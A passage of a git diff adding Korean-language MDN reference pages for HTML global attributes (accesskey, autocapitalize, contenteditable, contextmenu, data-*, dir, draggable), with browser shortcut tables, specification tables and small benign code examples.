+
+<p><span class="seoSummary"><code><strong>accesskey</strong></code> <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>은 현재 요소에 대한 키보드 단축키를 생성할 때 사용할 힌트를 제공합니다.</span> <code>accesskey</code> 속성의 값은 반드시 출력 가능한 단일 문자(키보드로 입력할 수 있는 글자)여야 합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/attribute-accesskey.html","tabbed-shorter")}}</div>
+
+<div class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> and send us a pull request.</div>
+
+<div class="note">
+<p><strong>참고</strong>: WHATWG 명세는 <code>accesskey</code>의 값에 공백으로 구분한 여러 개의 문자를 사용할 수 있고, 브라우저는 그 중 지원하는 첫 번째 문자를 사용한다고 되어 있습니다. 하지만 대부분의 브라우저는 이렇게 동작하지 않습니다. 단, 다른 명령과 충돌하지 않는 경우, IE/Edge에서는 지원되는 첫 번째 문자를 문제 없이 사용합니다.</p>
+</div>
+
+<p>단축키를 활성화하는 방법은 브라우저와 플랫폼에 따라 다를 수 있습니다.</p>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th></th>
+ <th>Windows</th>
+ <th>Linux</th>
+ <th>Mac</th>
+ </tr>
+ <tr>
+ <th>Firefox</th>
+ <td colspan="2" rowspan="1" style="text-align: center;"><kbd>Alt</kbd> + <kbd>Shift</kbd> + <kbd><em>key</em></kbd></td>
+ <td>Firefox 57 이상에서는 <kbd>Control</kbd> + <kbd>Option</kbd> + <kbd><em>key</em></kbd> 또는 <kbd>Control</kbd> + <kbd>Alt</kbd> + <kbd><em>key</em></kbd><br>
+ Firefox 14 이상에서는 <kbd>Control</kbd> + <kbd>Alt</kbd> + <kbd><em>key</em></kbd><br>
+ Firefox 13 이하에서는 <kbd>Control</kbd> + <kbd><em>key</em></kbd></td>
+ </tr>
+ <tr>
+ <th>Internet Explorer</th>
+ <td rowspan="3" style="text-align: center;"><kbd>Alt</kbd> + <kbd><em>key</em></kbd><br>
+ <kbd>Alt</kbd> + <kbd>Shift</kbd> + <kbd><em>key</em></kbd></td>
+ <td colspan="2" rowspan="1" style="text-align: center;">없음</td>
+ </tr>
+ <tr>
+ <th>Edge</th>
+ <td style="text-align: center;">없음</td>
+ <td rowspan="3" style="text-align: center;"><kbd>Control</kbd> + <kbd>Option</kbd> + <kbd><em>key</em></kbd><br>
+ <kbd>Control</kbd> + <kbd>Option</kbd> + <kbd>Shift</kbd> + <kbd><em>key</em></kbd></td>
+ </tr>
+ <tr>
+ <th>Google Chrome</th>
+ <td style="text-align: center;"><kbd>Alt</kbd> + <kbd>Shift</kbd> + <kbd><em>key</em></kbd></td>
+ </tr>
+ <tr>
+ <th>Safari</th>
+ <td colspan="2" style="text-align: center;">없음</td>
+ </tr>
+ <tr>
+ <th>Opera 15+</th>
+ <td colspan="2" rowspan="1" style="text-align: center;"><kbd>Alt</kbd> + <kbd><em>key</em></kbd></td>
+ <td><kbd>Control</kbd> + <kbd>Alt</kbd> + <kbd><em>key</em></kbd></td>
+ </tr>
+ <tr>
+ <th>Opera 12</th>
+ <td colspan="3" rowspan="1"><kbd>Shift</kbd> + <kbd>Esc</kbd>를 통해 접근 가능한 단축키 목록을 열고, 그 중에서 <kbd>key</kbd>를 눌러 선택합니다.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="접근성_고려사항">접근성 고려사항</h2>
+
+<p><code>accesskey</code> 특성은 빈약한 브라우저 지원을 포함해, 사용하기 전 고려해야 할 수많은 사항이 있습니다.</p>
+
+<ul>
+ <li><code>accesskey</code> 값은 시스템이나 브라우저 키보드 단축키 또는 보조 기술 기능과 충돌할 수 있습니다. 운영 체제, 보조 기술, 브라우저의 어떤 조합에서 동작하는 키가 다른 조합에서는 동작하지 않을 수 있습니다.</li>
+ <li>특정 <code>accesskey</code> 값은 특정 키보드에 존재하지 않을 수 있으며, 국제화가 중요한 경우 많은 키보드 종류로 인해 문제가 될 가능성이 커집니다. 따라서 특정 언어에 맞추는 것은 미래의 문제를 유발할 수 있습니다.</li>
+ <li>숫자에 의존하는 <code>accesskey</code> 값은, 해당 숫자와 그 동작에 연관성이 없는 경우 인지력 문제를 겪고 있는 사용자에게 혼란스러울 수 있습니다.</li>
+ <li>사용자에게 <code>accesskey</code>가 존재한다고 알리세요. 시스템에 해당 기능을 알리는 기능이 없다면, 사용자가 실수로 <code>accesskey</code>를 사용할수도 있습니다.</li>
+</ul>
+
+<p>이러한 문제로 인해, 일반적인 목적을 갖는 웹 사이트와 웹 앱에서는 <code>accesskey</code>를 사용하지 않는 것을 권장합니다.</p>
+
+<ul>
+ <li><a href="https://webaim.org/techniques/keyboard/accesskey#spec">WebAIM: Keyboard Accessibility - Accesskey</a></li>
+</ul>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">코멘트</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5.2', "editing.html#the-accesskey-attribute", "accesskey")}}</td>
+ <td>{{Spec2('HTML5.2')}}</td>
+ <td>실제로 구현된 것에 대한 더 현실적인 동작 설명.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', "interaction.html#the-accesskey-attribute", "accesskey")}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td>최신 W3C {{SpecName('HTML5.1')}} 스펙으로부터 변경 사항 없음.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5.1', "editing.html#the-accesskey-attribute", "accesskey")}}</td>
+ <td>{{Spec2('HTML5.1')}}</td>
+ <td>{{SpecName('HTML5 W3C')}} 로부터 변경 사항 없음.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', "editing.html#the-accesskey-attribute", "accesskey")}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td>{{SpecName('HTML4.01')}} 로부터, 일부 문자들은 <code>accesskey</code> 로 설정될 수 있음. 또한, 모든 엘리먼트에서 설정될 수 있음.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML4.01', "interact/forms.html#h-17.11.2", "accesskey")}}</td>
+ <td>{{Spec2('HTML4.01')}}</td>
+ <td>{{ HTMLElement("a") }}, {{ HTMLElement("area") }}, {{ HTMLElement("button") }}, {{ HTMLElement("input") }}, {{ HTMLElement("label") }}, {{ HTMLElement("legend") }}, {{ HTMLElement("textarea") }} 에서만 지원됨.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.global_attributes.accesskey")}}</p>
+
+<h2 id="함께_보기">함께 보기</h2>
+
+<ul>
+ <li>{{domxref("Element.accessKey")}}</li>
+ <li>{{domxref("HTMLElement.accessKeyLabel")}}</li>
+ <li>모든 <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>.</li>
+ <li><code><a href="https://www.w3.org/TR/wai-aria-1.1/#aria-keyshortcuts">aria-keyshortcuts</a></code></li>
+</ul>
diff --git a/files/ko/web/html/global_attributes/autocapitalize/index.html b/files/ko/web/html/global_attributes/autocapitalize/index.html
new file mode 100644
index 0000000000..b0a42ef76a
--- /dev/null
+++ b/files/ko/web/html/global_attributes/autocapitalize/index.html
@@ -0,0 +1,47 @@
+---
+title: autocapitalize
+slug: Web/HTML/Global_attributes/autocapitalize
+tags:
+ - Global attributes
+ - HTML
+ - Reference
+ - 자동 대문자화
+translation_of: Web/HTML/Global_attributes/autocapitalize
+---
+<p>{{HTMLSidebar("Global_attributes")}}</p>
+
+<p><span class="seoSummary"><code><strong>autocapitalize</strong></code> <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>은 사용자가 입력하거나 수정하는 텍스트를 자동으로 대문자로 바꾸는 방식을 제거하는 열거형 특성입니다.</span> 가능한 값은 다음과 같습니다.</p>
+
+<ul>
+ <li><code>off</code> 또는 <code>none</code>: 대문자로 변환하지 않음 (모든 문자의 기본값 소문자)</li>
+ <li><code>on</code> 또는 <code>sentences</code>: 각 문장의 첫 번째 문자는 기본값 대문자, 다른 모든 문자는 기본값 소문자</li>
+ <li><code>words</code>: 각 단어의 첫 번째 문자는 기본값 대문자, 다른 모든 문자는 기본값 소문자.</li>
+ <li><code>characters</code>: 모든 문자의 기본값 대문자</li>
+</ul>
+
+<p><code>autocapitalize</code> 특성은 물리적인 키보드에서 입력하는 경우 아무런 영향도 주지 않으며, 대신 음성 입력이나 모바일 장치의 가상 키보드 등, 문장 첫 글자를 자동으로 대문자로 변환해서 사용자를 돕곤 하는 방식에 영향을 줍니다. <code>autocapitalize</code> 특성을 사용하면 이런 동작을 HTML 작성자가 재정의할 수 있습니다.</p>
+
+<p><code>autocapitalize</code> 특성을 {{htmlattrxref("type", "input")}} 특성의 값이 <code>url</code>, <code>email</code>, <code>password</code>인 {{HTMLElement("input")}} 요소에 적용해도 자동 대문자 변환은 되지 않습니다.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', "interaction.html#autocapitalization", "autocapitalize")}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.global_attributes.autocapitalize")}}</p>
diff --git a/files/ko/web/html/global_attributes/contenteditable/index.html b/files/ko/web/html/global_attributes/contenteditable/index.html
new file mode 100644
index 0000000000..8c8d2fabb6
--- /dev/null
+++ b/files/ko/web/html/global_attributes/contenteditable/index.html
@@ -0,0 +1,76 @@
+---
+title: contenteditable
+slug: Web/HTML/Global_attributes/contenteditable
+tags:
+ - Global attributes
+ - HTML
+ - Reference
+translation_of: Web/HTML/Global_attributes/contenteditable
+---
+<div>{{HTMLSidebar("Global_attributes")}}</div>
+
+<p><span class="seoSummary"><code><strong>contenteditable</strong></code> <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>은 사용자가 요소를 편집할 수 있는지 나타내는 열거형 특성입니다.</span></p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/attribute-contenteditable.html","tabbed-shorter")}}</div>
+
+<p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</p>
+
+<p>가능한 값은 다음과 같습니다.</p>
+
+<ul>
+ <li><code>true</code> 또는 빈 문자열은 요소가 편집 가능함을 나타냅니다.</li>
+ <li><code>false</code>는 요소가 편집 불가능함을 나타냅니다.</li>
+</ul>
+
+<p>값 없이, <code>&lt;label contenteditable&gt;예제&lt;/label&gt;</code>처럼 사용할 경우 빈 문자열 값으로 간주합니다.</p>
+
+<p>특성이 없거나, 갑이 유효하지 않은 경우 부모 요소로부터 상속합니다. 즉, 부모 요소를 편집 가능한 경우 자신도 편집 가능합니다.</p>
+
+<p>가능한 값에 <code>true</code>와 <code>false</code>가 있긴 하지만, <code>contenteditable</code> 특성은 불리언 특성이 아닌 열거형 특성입니다.</p>
+
+<p>텍스트 삽입 시 표시되는 커서의 색은 CSS {{cssxref("caret-color")}} 특성으로 바꿀 수 있습니다.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', "editing.html#attr-contenteditable", "contenteditable")}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td>No change from latest snapshot, {{SpecName('HTML5.1')}}</td>
+ </tr>
+ <tr>
+ <td>{{SpecName("HTML5.2", "editing.html#making-document-regions-editable-the-contenteditable-content-attribute", "contenteditable")}}</td>
+ <td>{{Spec2("HTML5.2")}}</td>
+ <td>Snapshot of {{SpecName("HTML WHATWG")}}, no change from {{SpecName("HTML5.1")}}</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5.1', "editing.html#attr-contenteditable", "contenteditable")}}</td>
+ <td>{{Spec2('HTML5.1')}}</td>
+ <td>Snapshot of {{SpecName('HTML WHATWG')}}, no change from {{SpecName('HTML5 W3C')}}</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', "editing.html#attr-contenteditable", "contenteditable")}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td>Snapshot of  {{SpecName('HTML WHATWG')}}, initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.global_attributes.contenteditable")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>모든 <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>.</li>
+ <li>{{domxref("HTMLElement.contentEditable")}}, {{domxref("HTMLElement.isContentEditable")}}</li>
+</ul>
diff --git a/files/ko/web/html/global_attributes/contextmenu/index.html b/files/ko/web/html/global_attributes/contextmenu/index.html
new file mode 100644
index 0000000000..819295f11b
--- /dev/null
+++ b/files/ko/web/html/global_attributes/contextmenu/index.html
@@ -0,0 +1,121 @@
+---
+title: contextmenu
+slug: Web/HTML/Global_attributes/contextmenu
+tags:
+ - Deprecated
+ - Global attributes
+ - HTML
+ - Reference
+translation_of: Web/HTML/Global_attributes/contextmenu
+---
+<div>{{HTMLSidebar("Global_attributes")}}</div>
+
+<div class="warning">
+<p><a href="https://html.spec.whatwg.org/multipage/obsolete.html#attr-contextmenu">contextmenu 특성은 폐기되었으며</a>, 모든 브라우저에서 제거될 것입니다.</p>
+</div>
+
+<p><code><strong>contextmenu</strong></code> <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>은 이 요소의 컨텍스트 메뉴로 사용될 {{HTMLElement("menu")}}의 <code><a href="/ko/docs/Web/HTML/Global_attributes/id">id</a></code>입니다.</p>
+
+<p>컨텍스트 메뉴는 마우스의 우클릭(right-click)과 같은 사용자 상호작용 중에 나타나는 메뉴를 말합니다. HTML5에서는 이 메뉴를 커스터마이징할 수 있습니다. 다음은 계층 메뉴(nested menu)를 포함한 구현 예제입니다.</p>
+
+<h2 id="Example">Example</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush:html; highlight:[1,10,15] notranslate">&lt;body contextmenu="share"&gt;
+ &lt;menu type="context" id="share"&gt;
+ &lt;menu label="share"&gt;
+ &lt;menuitem label="Twitter" onclick="shareViaTwitter()"&gt;&lt;/menuitem&gt;
+ &lt;menuitem label="Facebook" onclick="shareViaFacebook()"&gt;&lt;/menuitem&gt;
+ &lt;/menu&gt;
+ &lt;/menu&gt;
+ &lt;ol&gt;
+ &lt;li&gt;
+ Anywhere in the example you can share the page on Twitter and
+ Facebook using the Share menu from your context menu.
+ &lt;/li&gt;
+ &lt;li contextmenu="changeFont" id="fontSizing"&gt;
+ On this specific list element, you can change the size of the text
+ by using the "Increase/Decrease font" actions from your context menu
+ &lt;/li&gt;
+ &lt;menu type="context" id="changeFont"&gt;
+ &lt;menuitem label="Increase Font" onclick="incFont()"&gt;&lt;/menuitem&gt;
+ &lt;menuitem label="Decrease Font" onclick="decFont()"&gt;&lt;/menuitem&gt;
+ &lt;/menu&gt;
+ &lt;li contextmenu="ChangeImage" id="changeImage"&gt;
+ On the image below, you can fire the "Change Image" action
+ in your Context Menu.&lt;br /&gt;
+ &lt;img src="https://developer.mozilla.org/media/img/promote/promobutton_mdn5.png"
+ contextmenu="ChangeImage" id="promoButton" /&gt;
+ &lt;menu type="context" id="ChangeImage"&gt;
+ &lt;menuitem label="Change Image" onclick="changeImage()"&gt;&lt;/menuitem&gt;
+ &lt;/menu&gt;
+ &lt;/li&gt;
+ &lt;/ol&gt;
+&lt;/body&gt;
+</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush:js notranslate">function shareViaTwitter() {
+ window.open("https://twitter.com/intent/tweet?text=" +
+ "Hurray! I am learning ContextMenu from MDN via Mozilla");
+}
+
+function shareViaFacebook() {
+ window.open("https://facebook.com/sharer/sharer.php?u=" +
+ "https://developer.mozilla.org/en/HTML/Element/Using_HTML_context_menus");
+}
+
+function incFont() {
+ document.getElementById("fontSizing").style.fontSize = "larger";
+}
+
+function decFont() {
+ document.getElementById("fontSizing").style.fontSize = "smaller";
+}
+
+function changeImage() {
+ var index = Math.ceil(Math.random() * 39 + 1);
+ document.images[0].src =
+ "https://developer.mozilla.org/media/img/promote/promobutton_mdn" +
+ index + ".png";
+}</pre>
+
+<h3 id="Result">Result</h3>
+
+<p>{{EmbedLiveSample("Example", "100%", 400)}}</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName("HTML5.1", "interactive-elements.html#context-menus", "contextmenu")}}</td>
+ <td>{{Spec2("HTML5.1")}}</td>
+ <td>Snapshot of {{SpecName("HTML WHATWG")}}, initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("html.global_attributes.contextmenu")}}</p>
+
+<p>[1] An experimental implementation was originally available via the command line option <code>--enable-blink-features=ContextMenu</code>. Until Chrome 52 and Opera 39 it was additionally available by enabling the <em>Experimental Web Platform features</em> option, but got removed from that due to a <a href="https://bugs.chromium.org/p/chromium/issues/detail?id=412945">Web compatibility issue</a>. In June 2017, it was removed entirely from the browsers. This is documented in <a href="https://bugs.chromium.org/p/chromium/issues/detail?id=87553">Chrome bug 87553</a>.</p>
+
+<p>[2] Support for the <code>contextmenu</code> attribute has been removed from Firefox Mobile ({{bug(1424252)}}).</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>All <a href="/en-US/docs/Web/HTML/Global_attributes">global attributes</a></li>
+ <li>{{domxref("HTMLElement.contextMenu")}}</li>
+</ul>
diff --git a/files/ko/web/html/global_attributes/data-_star_/index.html b/files/ko/web/html/global_attributes/data-_star_/index.html
new file mode 100644
index 0000000000..4aed70b1e4
--- /dev/null
+++ b/files/ko/web/html/global_attributes/data-_star_/index.html
@@ -0,0 +1,79 @@
+---
+title: data-*
+slug: Web/HTML/Global_attributes/data-*
+tags:
+ - Global attributes
+ - HTML
+ - Reference
+translation_of: Web/HTML/Global_attributes/data-*
+---
+<div>{{HTMLSidebar("Global_attributes")}}</div>
+
+<p><code><strong>data-*</strong></code> <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>은 <strong>사용자 지정 데이터 특성</strong>(custom data attributes)이라는 특성 클래스를 형성함으로써 임의의 데이터를 스크립트로 <a href="/ko/docs/Web/HTML" title="en/HTML">HTML</a>과 <a href="/ko/docs/Web/API/Document_Object_Model" title="en/DOM">DOM</a> 사이에서 교환할 수 있는 방법입니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/attribute-data.html","tabbed-standard")}}</div>
+
+<div class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</div>
+
+<p>모든 사용자 지정 데이터는 해당 데이터를 지정한 요소의 {{domxref("HTMLElement")}} 인터페이스, {{domxref("HTMLElement.dataset", "dataset")}} 속성을 통해 사용할 수 있습니다. <code>data-*</code>의 <code>*</code>은 <a href="https://www.w3.org/TR/REC-xml/#NT-Name">XML 이름 생성 규칙</a>을 따르는 모든 이름으로 대체할 수 있습니다.</p>
+
+<ul>
+ <li>대소문자 여부에 상관없이 <code>xml</code>로 시작하면 안 됩니다.</li>
+ <li>세미콜론(<code>U+003A</code>)을 포함해서는 안 됩니다.</li>
+ <li>대문자를 포함해서는 안 됩니다.</li>
+</ul>
+
+<p>{{domxref("HTMLElement.dataset")}}은 {{domxref("DOMStringMap")}}이라는 점을 참고하세요. 사용할 땐, 예를 들어 <code>data-test-value</code>라는 이름의 특성을 지정했다면, 모든 대시(<code>U+002D</code>)는 다음 문자를 대문자로 만들고 자신은 사라지므로 <code>HTMLElement.dataset.testValue</code>로 접근할 수 있습니다.</p>
+
+<h3 id="용도">용도</h3>
+
+<p><code>data-*</code><strong> </strong>속성을 추가함으로써, 평범한 HTML 요소조차 복잡하고 강력한 프로그램 객체가 될 수 있습니다. 예컨대, 게임의 우주선 스프라이트는 단순한 {{htmlelement("img")}} 태그와 <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/HTML/Global_attributes/class"><code>class</code></a> 특성, 그리고 여러 <code>data-*</code> 특성으로 나타낼 수 있습니다.</p>
+
+<pre class="brush: html">&lt;img class="spaceship cruiserX3" src="shipX3.png"
+  data-ship-id="324" data-weapons="laserI laserII" data-shields="72%"
+  data-x="414354" data-y="85160" data-z="31940"
+ onclick="spaceships[this.dataset.shipId].blasted()"&gt;
+</pre>
+
+<p>HTML 데이터 특성 사용법에 관한 보다 자세한 자습서는 <a href="https://wiki.developer.mozilla.org/en-US/docs/Learn/HTML/Howto/Use_data_attributes">데이터 특성 사용하기</a>를 확인하세요.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', "dom.html#embedding-custom-non-visible-data-with-the-data-*-attributes", "data-*")}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td>No change from latest snapshot, {{SpecName('HTML5.1')}}</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5.1', "dom.html#element-attrdef-global-data", "data-*")}}</td>
+ <td>{{Spec2('HTML5.1')}}</td>
+ <td>Snapshot of {{SpecName('HTML WHATWG')}}, no change from {{SpecName('HTML5 W3C')}}</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', "dom.html#element-attrdef-global-data", "data-*")}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td>Snapshot of  {{SpecName('HTML WHATWG')}}, initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div class="hidden">The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</div>
+
+<p>{{Compat("html.global_attributes.data_attributes")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>모든 <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>.</li>
+ <li>데이터 특성 값에 접근하고 수정할 수 있는 {{domxref("HTMLElement.dataset")}} 속성.</li>
+ <li><a href="https://wiki.developer.mozilla.org/en-US/docs/Learn/HTML/Howto/Use_data_attributes">데이터 특성 사용하기</a></li>
+</ul>
diff --git a/files/ko/web/html/global_attributes/dir/index.html b/files/ko/web/html/global_attributes/dir/index.html
new file mode 100644
index 0000000000..ae64e173b2
--- /dev/null
+++ b/files/ko/web/html/global_attributes/dir/index.html
@@ -0,0 +1,89 @@
+---
+title: dir
+slug: Web/HTML/Global_attributes/dir
+tags:
+ - BiDi
+ - Global attributes
+ - HTML
+ - Reference
+translation_of: Web/HTML/Global_attributes/dir
+---
+<div>{{HTMLSidebar("Global_attributes")}}</div>
+
+<p><code><strong>dir</strong></code> <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>은 요소의 쓰기 방향을 나타내는 열거형 특성입니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/attribute-dir.html","tabbed-standard")}}</div>
+
+<p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</p>
+
+<p>가능한 값은 다음과 같습니다.</p>
+
+<ul>
+ <li><code>ltr</code>은 왼쪽에서 오른쪽을 뜻하며, 좌횡서 언어인 한국어나 영어에 사용합니다.</li>
+ <li><code>rtl</code>은 오른쪽에서 왼쪽을 뜻하며, 우횡서 언어인 아랍어 등을 사용합니다.</li>
+ <li><code>auto</code>는 {{glossary("user agent", "사용자 에이전트")}}가 결정합니다. 사용자 에이전트는 기본적인 알고리즘을 사용해 요소 내부의 문자를 분석한 후, 명확한 방향성을 가진 문자가 존재하는 경우 전체 요소에 해당 방향성을 적용합니다.</li>
+</ul>
+
+<div class="note">
+<p><strong>참고:</strong> <code>dir</code> 특성은{{HTMLElement("bdo")}} 요소에 필수로 지정해야 하며, 다른 뜻을 가집니다.</p>
+
+<ul>
+ <li>
+ <p>{{ HTMLElement("bdi") }} 요소는 <code>dir</code> 특성을 상속하지 않으며, 지정하지 않은 경우 <code>auto</code>를 기본값으로 사용합니다.</p>
+ </li>
+ <li>
+ <p>{{ cssxref("direction") }}과 {{ cssxref("unicode-bidi") }}를 지원하며 CSS를 활성화한 경우, 특성 값은 무시하고 CSS 값을 대신 사용합니다.</p>
+ </li>
+ <li>
+ <p>글자의 쓰기 방향은 외형이 아니라 그 의미에 관여하므로, 웹 개발자로서 되도록 CSS 속성 대신 <code>dir</code> 특성을 사용하세요. 관련 속성을 지원하지 않거나, CSS를 비활성화한 브라우저에서도 텍스트가 올바른 방향으로 나타납니다.</p>
+ </li>
+ <li>
+ <p>데이터베이스에 저장된 사용자 입력 값처럼 방향성을 알 수 없는 데이터에는 <code>auto</code> 값을 사용해야 합니다.</p>
+ </li>
+</ul>
+</div>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', "dom.html#the-dir-attribute", "dir")}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td>No change from latest snapshot, {{SpecName('HTML5.1')}}</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5.1', "dom.html#the-dir-attribute", "dir")}}</td>
+ <td>{{Spec2('HTML5.1')}}</td>
+ <td>Snapshot of {{SpecName('HTML WHATWG')}}, no change from {{SpecName('HTML5 W3C')}}</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', "dom.html#the-dir-attribute", "dir")}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td>Snapshot of {{SpecName('HTML WHATWG')}}, from {{SpecName('HTML4.01')}} it added the <code>auto</code> value, and is now a true global attribute.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML4.01', "dirlang.html#h-8.2", "dir")}}</td>
+ <td>{{Spec2('HTML4.01')}}</td>
+ <td>Supported on all elements but {{HTMLElement("applet")}}, {{HTMLElement("base")}}, {{HTMLElement("basefont")}}, {{HTMLElement("bdo")}}, {{HTMLElement("br")}}, {{HTMLElement("frame")}}, {{HTMLElement("frameset")}}, {{HTMLElement("iframe")}}, {{HTMLElement("param")}}, and {{HTMLElement("script")}}.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.global_attributes.dir")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>모든 <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>.</li>
+ <li>이 특성을 나타내는 {{domxref("HTMLElement.dir")}}.</li>
+</ul>
diff --git a/files/ko/web/html/global_attributes/draggable/index.html b/files/ko/web/html/global_attributes/draggable/index.html
new file mode 100644
index 0000000000..e3d4b5df39
--- /dev/null
+++ b/files/ko/web/html/global_attributes/draggable/index.html
@@ -0,0 +1,66 @@
+---
+title: draggable
+slug: Web/HTML/Global_attributes/draggable
+tags:
+ - Global attributes
+ - HTML
+ - Reference
+translation_of: Web/HTML/Global_attributes/draggable
+---
+<div>{{HTMLSidebar("Global_attributes")}}</div>
+
+<p><span class="seoSummary"><code><strong>draggable</strong></code> <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>은 요소의 드래그 가능 여부를 나타내는 열거형 특성으로, 네이티브 브라우저 동작 방식과 <a href="/ko/docs/Web/API/HTML_Drag_and_Drop_API">HTML Drag and Drop API</a> 모두 통제합니다.</span></p>
+
+<p><code>draggable</code>은 다음 두 값 중 하나를 가질 수 있습니다.</p>
+
+<ul>
+ <li><code>true</code>: 요소를 드래그 할 수 있습니다.</li>
+ <li><code>false</code>: 요소를 드래그 할 수 없습니다.</li>
+</ul>
+
+<div class="blockIndicator warning">
+<p><code>draggable</code> 특성은 불리언이 아니고 열거형 특성이므로, <code>true</code> 또는 <code>false</code>의 지정 또한 필수입니다. 그러므로 <code>&lt;img draggable&gt;</code>처럼 사용할 수 없고, 올바른 사용법은 <code>&lt;img draggable="false"&gt;</code>입니다.</p>
+</div>
+
